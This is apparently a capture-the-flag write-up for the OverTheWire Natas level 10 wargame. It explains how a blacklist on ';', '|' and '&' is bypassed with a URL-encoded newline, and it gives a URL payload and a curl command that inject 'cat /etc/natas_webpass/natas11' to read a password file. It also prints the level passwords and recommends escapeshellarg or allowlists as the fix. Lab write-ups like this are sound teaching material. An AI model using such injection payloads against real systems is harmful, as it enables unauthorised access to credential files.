> ## Documentation Index
> Fetch the complete documentation index at: https://writeups.dudji.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Natas 10

> Natas Level 10 — command injection character blacklist bypassed with a URL-encoded newline.

## Overview

| Field    | Value                                       |
| -------- | ------------------------------------------- |
| URL      | `http://natas10.natas.labs.overthewire.org` |
| Username | `natas10`                                   |
| Password | `t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu`          |

Same word-search page as Level 9, but with a filter added. The *"View sourcecode"* link shows what's changed.

***

## Hints

<AccordionGroup>
  <Accordion title="Hint 1 — What does the filter block?">
    The source adds a `preg_match` check:

    ```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
    if(preg_match('/[;|&]/', $key)) {
        print "Input contains an illegal character!";
    }
    ```

    The characters `;`, `|`, and `&` are blocked. These were used in the Level 9 solution. Are they the *only* characters that act as command separators in bash?
  </Accordion>

  <Accordion title="Hint 2 — What else separates bash commands?">
    In bash, a **newline** character acts as a command terminator — exactly like `;`. The newline character (`\n`) URL-encoded is `%0a`. The filter above doesn't check for it. Try injecting `%0a` between your `grep` arguments and a `cat` command.
  </Accordion>
</AccordionGroup>

***

## Solution

<Accordion title="Full walkthrough">
  <Steps>
    <Step title="Understand what's blocked">
      The filter catches `;`, `|`, and `&` in the submitted value. The Level 9 payload (`&& cat ...`) would be caught.
    </Step>

    <Step title="Use newline as a separator">
      A URL-encoded newline (`%0a`) is not in the blocklist. Send the payload via the URL directly:

      ```
      http://natas10.natas.labs.overthewire.org/?needle=key+dictionary.txt+%0a+cat+/etc/natas_webpass/natas11&submit=Search
      ```

      The shell receives:

      ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
      grep -i key dictionary.txt
      cat /etc/natas_webpass/natas11
      ```
    </Step>

    <Step title="Read the output">
      The page renders the `grep` results followed by the contents of the password file.
    </Step>
  </Steps>
</Accordion>

<Note>
  Character blacklists are inherently fragile. Newlines, null bytes, and other metacharacters are easy to overlook. The correct fix is to use `escapeshellarg()` — which safely quotes the entire argument — or to avoid shell execution entirely. Allowlists (only permit alphanumerics) are more robust than blocklists.
</Note>

## With curl

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# $'...' is a bash ANSI-C quoted string — it interprets \n as a real newline
# --data-urlencode then percent-encodes it as %0a before sending
curl -s -u natas10:t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu -G \
  --data-urlencode $'needle=key dictionary.txt\ncat /etc/natas_webpass/natas11' \
  --data-urlencode "submit=Search" \
  http://natas10.natas.labs.overthewire.org/
```

## Password

```
natas11: UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk
```